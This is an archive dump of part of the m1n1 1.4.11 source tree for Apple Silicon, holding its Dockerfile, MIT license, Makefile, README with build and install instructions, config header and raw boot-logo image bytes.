debian:buster-slim ENV DEBIAN_FRONTEND=noninteractive RUN apt-get update && apt-get install -y build-essential bash git locales gcc-aarch64-linux-gnu libc6-dev-arm64-cross device-tree-compiler \ && rm -rf /var/lib/apt/lists/* \ && localedef -i en_US -c -f UTF-8 -A /usr/share/locale/locale.alias en_US.UTF-8 ENV LANG en_US.utf8 WORKDIR /m1n1 COPY . . CMD ["/bin/bash"] m1n1-1.4.11/LICENSE000066400000000000000000000020641453754430200133700ustar00rootroot00000000000000MIT License Copyright The Asahi Linux Contributors Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. m1n1-1.4.11/Makefile000066400000000000000000000147151453754430200140310ustar00rootroot00000000000000RUSTARCH ?= aarch64-unknown-none-softfloat ifeq ($(shell uname),Darwin) USE_CLANG ?= 1 $(info INFO: Building on Darwin) ifeq ($(shell uname -p),arm) TOOLCHAIN ?= /opt/homebrew/opt/llvm/bin/ else TOOLCHAIN ?= /usr/local/opt/llvm/bin/ endif $(info INFO: Toolchain path: $(TOOLCHAIN)) endif ifeq ($(shell uname -m),aarch64) ARCH ?= else ARCH ?= aarch64-linux-gnu- endif ifeq ($(USE_CLANG),1) CC := $(TOOLCHAIN)clang --target=$(ARCH) AS := $(TOOLCHAIN)clang --target=$(ARCH) LD := $(TOOLCHAIN)ld.lld OBJCOPY := $(TOOLCHAIN)llvm-objcopy CLANG_FORMAT := $(TOOLCHAIN)clang-format EXTRA_CFLAGS ?= else CC := $(TOOLCHAIN)$(ARCH)gcc AS := $(TOOLCHAIN)$(ARCH)gcc LD := $(TOOLCHAIN)$(ARCH)ld OBJCOPY := $(TOOLCHAIN)$(ARCH)objcopy CLANG_FORMAT := clang-format EXTRA_CFLAGS ?= -Wstack-usage=2048 endif ifeq ($(V),) QUIET := @ else ifeq ($(V),0) QUIET := @ else QUIET := endif endif BASE_CFLAGS := -O2 -Wall -g -Wundef -Werror=strict-prototypes -fno-common -fno-PIE \ -Werror=implicit-function-declaration -Werror=implicit-int \ -Wsign-compare -Wunused-parameter -Wno-multichar \ -ffreestanding -fpic -ffunction-sections -fdata-sections \ -nostdinc -isystem $(shell $(CC) -print-file-name=include) -isystem sysinc \ -fno-stack-protector -mstrict-align -march=armv8.2-a \ $(EXTRA_CFLAGS) CFLAGS := $(BASE_CFLAGS) -mgeneral-regs-only CFG := ifeq ($(RELEASE),1) CFG += RELEASE endif # Required for no_std + alloc for now export RUSTC_BOOTSTRAP=1 RUST_LIB := librust.a RUST_LIBS := ifeq ($(CHAINLOADING),1) CFG += CHAINLOADING RUST_LIBS += $(RUST_LIB) endif LDFLAGS := -EL -maarch64elf --no-undefined -X -Bsymbolic \ -z notext --no-apply-dynamic-relocs --orphan-handling=warn \ -z nocopyreloc --gc-sections -pie MINILZLIB_OBJECTS := $(patsubst %,minilzlib/%, \ dictbuf.o inputbuf.o lzma2dec.o lzmadec.o rangedec.o xzstream.o) TINF_OBJECTS := $(patsubst %,tinf/%, \ adler32.o crc32.o tinfgzip.o tinflate.o tinfzlib.o) DLMALLOC_OBJECTS := dlmalloc/malloc.o LIBFDT_OBJECTS := $(patsubst %,libfdt/%, \ fdt_addresses.o fdt_empty_tree.o fdt_ro.o fdt_rw.o fdt_strerror.o fdt_sw.o \ fdt_wip.o fdt.o) DCP_OBJECTS := $(patsubst %,dcp/%, \ dpav_ep.o \ dptx_phy.o \ dptx_port_ep.o \ parser.o \ system_ep.o) OBJECTS := \ adt.o \ afk.o \ aic.o \ asc.o \ bootlogo_128.o bootlogo_256.o \ chainload.o \ chainload_asm.o \ chickens.o \ chickens_avalanche.o \ chickens_blizzard.o \ chickens_everest.o \ chickens_firestorm.o \ chickens_icestorm.o \ chickens_sawtooth.o \ clk.o \ cpufreq.o \ dapf.o \ dart.o \ dcp.o \ dcp_iboot.o \ devicetree.o \ display.o \ exception.o exception_asm.o \ fb.o font.o font_retina.o \ firmware.o \ gxf.o gxf_asm.o \ heapblock.o \ hv.o hv_vm.o hv_exc.o hv_vuart.o hv_wdt.o hv_asm.o hv_aic.o hv_virtio.o \ i2c.o \ iodev.o \ iova.o \ isp.o \ kboot.o \ main.o \ mcc.o \ memory.o memory_asm.o \ nvme.o \ payload.o \ pcie.o \ pmgr.o \ proxy.o \ ringbuffer.o \ rtkit.o \ sart.o \ sep.o \ sio.o \ smc.o \ smp.o \ start.o \ startup.o \ string.o \ tunables.o tunables_static.o \ tps6598x.o \ uart.o \ uartproxy.o \ usb.o usb_dwc3.o \ utils.o utils_asm.o \ vsprintf.o \ wdt.o \ $(DCP_OBJECTS) \ $(MINILZLIB_OBJECTS) $(TINF_OBJECTS) $(DLMALLOC_OBJECTS) $(LIBFDT_OBJECTS) $(RUST_LIBS) FP_OBJECTS := \ kboot_gpu.o \ math/expf.o \ math/exp2f_data.o \ math/powf.o \ math/powf_data.o BUILD_OBJS := $(patsubst %,build/%,$(OBJECTS)) BUILD_FP_OBJS := $(patsubst %,build/%,$(FP_OBJECTS)) BUILD_ALL_OBJS := $(BUILD_OBJS) $(BUILD_FP_OBJS) NAME := m1n1 TARGET := m1n1.macho TARGET_RAW := m1n1.bin DEPDIR := build/.deps .PHONY: all clean format update_tag update_cfg invoke_cc all: update_tag update_cfg build/$(TARGET) build/$(TARGET_RAW) clean: rm -rf build/* format: $(CLANG_FORMAT) -i src/*.c src/dcp/*.c src/math/*.c src/*.h src/dcp/*.h src/math/*.h sysinc/*.h format-check: $(CLANG_FORMAT) --dry-run --Werror src/*.c src/*.h src/dcp/*.c src/dcp/*.h sysinc/*.h rustfmt: cd rust && cargo fmt rustfmt-check: cd rust && cargo fmt --check build/$(RUST_LIB): rust/src/* rust/* $(QUIET)echo " RS $@" $(QUIET)mkdir -p $(DEPDIR) $(QUIET)mkdir -p "$(dir $@)" $(QUIET)cargo build --target $(RUSTARCH) --lib --release --manifest-path rust/Cargo.toml --target-dir build $(QUIET)cp "build/$(RUSTARCH)/release/${RUST_LIB}" "$@" build/%.o: src/%.S $(QUIET)echo " AS $@" $(QUIET)mkdir -p $(DEPDIR) $(QUIET)mkdir -p "$(dir $@)" $(QUIET)$(AS) -c $(CFLAGS) -MMD -MF $(DEPDIR)/$(*F).d -MQ "$@" -MP -o $@ $< $(BUILD_FP_OBJS): build/%.o: src/%.c $(QUIET)echo " CC FP $@" $(QUIET)mkdir -p $(DEPDIR) $(QUIET)mkdir -p "$(dir $@)" $(QUIET)$(CC) -c $(BASE_CFLAGS) -MMD -MF $(DEPDIR)/$(*F).d -MQ "$@" -MP -o $@ $< build/%.o: src/%.c $(QUIET)echo " CC $@" $(QUIET)mkdir -p $(DEPDIR) $(QUIET)mkdir -p "$(dir $@)" $(QUIET)$(CC) -c $(CFLAGS) -MMD -MF $(DEPDIR)/$(*F).d -MQ "$@" -MP -o $@ $< # special target for usage by m1n1.loadobjs invoke_cc: $(QUIET)$(CC) -c $(CFLAGS) -Isrc -o $(OBJFILE) $(CFILE) build/$(NAME).elf: $(BUILD_ALL_OBJS) m1n1.ld $(QUIET)echo " LD $@" $(QUIET)$(LD) -T m1n1.ld $(LDFLAGS) -o $@ $(BUILD_ALL_OBJS) build/$(NAME)-raw.elf: $(BUILD_ALL_OBJS) m1n1-raw.ld $(QUIET)echo " LDRAW $@" $(QUIET)$(LD) -T m1n1-raw.ld $(LDFLAGS) -o $@ $(BUILD_ALL_OBJS) build/$(NAME).macho: build/$(NAME).elf $(QUIET)echo " MACHO $@" $(QUIET)$(OBJCOPY) -O binary --strip-debug $< $@ build/$(NAME).bin: build/$(NAME)-raw.elf $(QUIET)echo " RAW $@" $(QUIET)$(OBJCOPY) -O binary --strip-debug $< $@ update_tag: $(QUIET)mkdir -p build $(QUIET)./version.sh > build/build_tag.tmp $(QUIET)cmp -s build/build_tag.h build/build_tag.tmp 2>/dev/null || \ ( mv -f build/build_tag.tmp build/build_tag.h && echo " TAG build/build_tag.h" ) update_cfg: $(QUIET)mkdir -p build $(QUIET)for i in $(CFG); do echo "#define $$i"; done > build/build_cfg.tmp $(QUIET)cmp -s build/build_cfg.h build/build_cfg.tmp 2>/dev/null || \ ( mv -f build/build_cfg.tmp build/build_cfg.h && echo " CFG build/build_cfg.h" ) build/build_tag.h: update_tag build/build_cfg.h: update_cfg build/%.bin: data/%.bin $(QUIET)echo " IMG $@" $(QUIET)mkdir -p "$(dir $@)" $(QUIET)cp $< $@ build/%.o: build/%.bin $(QUIET)echo " BIN $@" $(QUIET)mkdir -p "$(dir $@)" $(QUIET)$(OBJCOPY) -I binary -B aarch64 -O elf64-littleaarch64 $< $@ build/%.bin: font/%.bin $(QUIET)echo " CP $@" $(QUIET)mkdir -p "$(dir $@)" $(QUIET)cp $< $@ build/main.o: build/build_tag.h build/build_cfg.h src/main.c build/usb_dwc3.o: build/build_tag.h src/usb_dwc3.c build/chainload.o: build/build_cfg.h src/usb_dwc3.c -include $(DEPDIR)/* m1n1-1.4.11/README.md000066400000000000000000000115351453754430200136450ustar00rootroot00000000000000# m1n1: an experimentation playground for Apple Silicon (And to some extent a Linux bootloader) ## Building You need an `aarch64-linux-gnu-gcc` cross-compiler toolchain (or a native one, if running on ARM64). ```shell $ git clone --recursive https://github.com/AsahiLinux/m1n1.git $ cd m1n1 $ make ``` The output will be in build/m1n1.macho. To build on a native arm64 machine, use `make ARCH=`. To build verbosely, use `make V=1`. Building on ARM64 macOS is supported with clang and LLVM; you need to use Homebrew to install the required dependencies: ```shell $ brew install llvm ``` After that, just type `make`. ### Building using the container setup If you have a container runtime installed, like Podman or Docker, you can make use of the compose setup, which contains all build dependencies. ```shell $ git clone --recursive https://github.com/AsahiLinux/m1n1.git $ cd m1n1 $ podman-compose run m1n1 make $ # or $ docker-compose run m1n1 make ``` ## Usage Our [wiki](https://github.com/AsahiLinux/docs/wiki/m1n1%3AUser-Guide) has more information on how to use m1n1. To install on an OS container based on macOS <12.1, use `m1n1.macho`: ```shell kmutil configure-boot -c m1n1.macho -v ``` To install on an OS container based on macOS >=12.1, use `m1n1.bin`: ```shell kmutil configure-boot -c m1n1.bin --raw --entry-point 2048 --lowest-virtual-address 0 -v ``` ## Payloads m1n1 supports running payloads by simple concatenation: ```shell $ cat build/m1n1.macho Image.gz build/dtb/apple-j274.dtb initramfs.cpio.gz > m1n1-payload.macho $ cat build/m1n1.bin Image.gz build/dtb/apple-j274.dtb initramfs.cpio.gz > m1n1-payload.bin ``` Supported payload file formats: * Kernel images (or compatible). Must be compressed or last payload. * Devicetree blobs (FDT). May be uncompressed or compressed. * Initramfs cpio images. Must be compressed. Supported compression formats: * gzip * xz ## License m1n1 is licensed under the MIT license, as included in the [LICENSE](LICENSE) file. * Copyright The Asahi Linux Contributors Please see the Git history for authorship information. Portions of m1n1 are based on mini: * Copyright (C) 2008-2010 Hector Martin "marcan" * Copyright (C) 2008-2010 Sven Peter * Copyright (C) 2008-2010 Andre Heider m1n1 embeds libfdt, which is dual [BSD](3rdparty_licenses/LICENSE.BSD-2.libfdt) and [GPL-2](3rdparty_licenses/LICENSE.GPL-2) licensed and copyright: * Copyright (C) 2014 David Gibson * Copyright (C) 2018 embedded brains GmbH * Copyright (C) 2006-2012 David Gibson, IBM Corporation. * Copyright (C) 2012 David Gibson, IBM Corporation. * Copyright 2012 Kim Phillips, Freescale Semiconductor. * Copyright (C) 2016 Free Electrons * Copyright (C) 2016 NextThing Co. The ADT code in mini is also based on libfdt and subject to the same license. m1n1 embeds [minlzma](https://github.com/ionescu007/minlzma), which is [MIT](3rdparty_licenses/LICENSE.minlzma) licensed and copyright: * Copyright (c) 2020 Alex Ionescu m1n1 embeds a slightly modified version of [tinf](https://github.com/jibsen/tinf), which is [ZLIB](3rdparty_licenses/LICENSE.tinf) licensed and copyright: * Copyright (c) 2003-2019 Joergen Ibsen m1n1 embeds portions taken from [arm-trusted-firmware](https://github.com/ARM-software/arm-trusted-firmware), which is [BSD](3rdparty_licenses/LICENSE.BSD-3.arm) licensed and copyright: * Copyright (c) 2013-2020, ARM Limited and Contributors. All rights reserved. m1n1 embeds [Doug Lea's malloc](ftp://gee.cs.oswego.edu/pub/misc/malloc.c) (dlmalloc), which is in the public domain ([CC0](3rdparty_licenses/LICENSE.CC0)). m1n1 embeds portions of [PDCLib](https://github.com/DevSolar/pdclib), which is in the public domain ([CC0](3rdparty_licenses/LICENSE.CC0)). m1n1 embeds the [Source Code Pro](https://github.com/adobe-fonts/source-code-pro) font, which is licensed under the [OFL-1.1](3rdparty_licenses/LICENSE.OFL-1.1) license and copyright: * Copyright 2010-2019 Adobe (http://www.adobe.com/), with Reserved Font Name 'Source'. All Rights Reserved. Source is a trademark of Adobe in the United States and/or other countries. * This Font Software is licensed under the SIL Open Font License, Version 1.1. m1n1 embeds portions of the [dwc3 usb linux driver](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/usb/dwc3/core.h?id=7bc5a6ba369217e0137833f5955cf0b0f08b0712), which was [BSD-or-GPLv2 dual-licensed](3rdparty_licenses/LICENSE.BSD-3.dwc3) and copyright * Copyright (C) 2010-2011 Texas Instruments Incorporated - http://www.ti.com m1n1 embeds portions of [musl-libc](https://musl.libc.org/)'s floating point library, which are MIT licensed and copyright * Copyright (c) 2017-2018, Arm Limited. m1n1 embeds some rust crates. Licenses can be found in the vendor directory for every crate. m1n1-1.4.11/artwork/000077500000000000000000000000001453754430200140525ustar00rootroot00000000000000m1n1-1.4.11/config.h000066400000000000000000000012711453754430200140000ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef CONFIG_H #define CONFIG_H // Enable framebuffer console #define USE_FB // Disable framebuffer console unless verbose boot is enabled //#define FB_SILENT_MODE // Initialize USB early and break into proxy if device is opened within this time (sec) //#define EARLY_PROXY_TIMEOUT 5 // Minimal build for bring-up //#define BRINGUP // Disable display configuration / bringup on desktop devices //#define NO_DISPLAY // Print RTKit logs to the console //#define RTKIT_SYSLOG // Target for device-specific debug builds //#define TARGET T8103 #ifdef RELEASE # define FB_SILENT_MODE # ifdef CHAINLOADING # define EARLY_PROXY_TIMEOUT 5 # endif #endif #endif m1n1-1.4.11/data/000077500000000000000000000000001453754430200132725ustar00rootroot00000000000000m1n1-1.4.11/data/bootlogo_128.bin000066400000000000000000002000001453754430200161720ustar00rootroot00000000000000ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ-#ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ) ÿž}@ÿìº`ÿÿÿÿÿÿÿÿ;,ÿžvÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ) ÿž}@ÿìº`ÿí»`ÿí»`ÿÿÿÿÿÿÿYBÿ¦|ÿ¦|ÿ0$ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ) ÿž}@ÿìº`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿ‚aÿ¦|ÿ¦|ÿ¦|ÿR=ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ) ÿž}@ÿìº`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿ+ ÿ˜qÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿsVÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ) ÿž}@ÿìº`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿM:ÿ¥{ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ”oÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÖ©Wÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ ÿxYÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿjT+ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ‘lÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ0$ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÕ¨Vÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿQ=ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿjT+ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿsVÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÕ¨Vÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ¦|ÿ”nÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿjT+ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿoSÿoSÿoSÿoSÿoSÿoSÿoSÿoSÿoSÿoSÿoSÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÕ¨Vÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿjT+ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÕ¨Vÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿjT+ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÕ¨Vÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿjT+ÿí»`ÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÕ¨Vÿí»`ÿí»`ÿí»`ÿí»`ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿjT+ÿí»`ÿí»`ÿí»`ÿí»`ÿ”ÿ^ 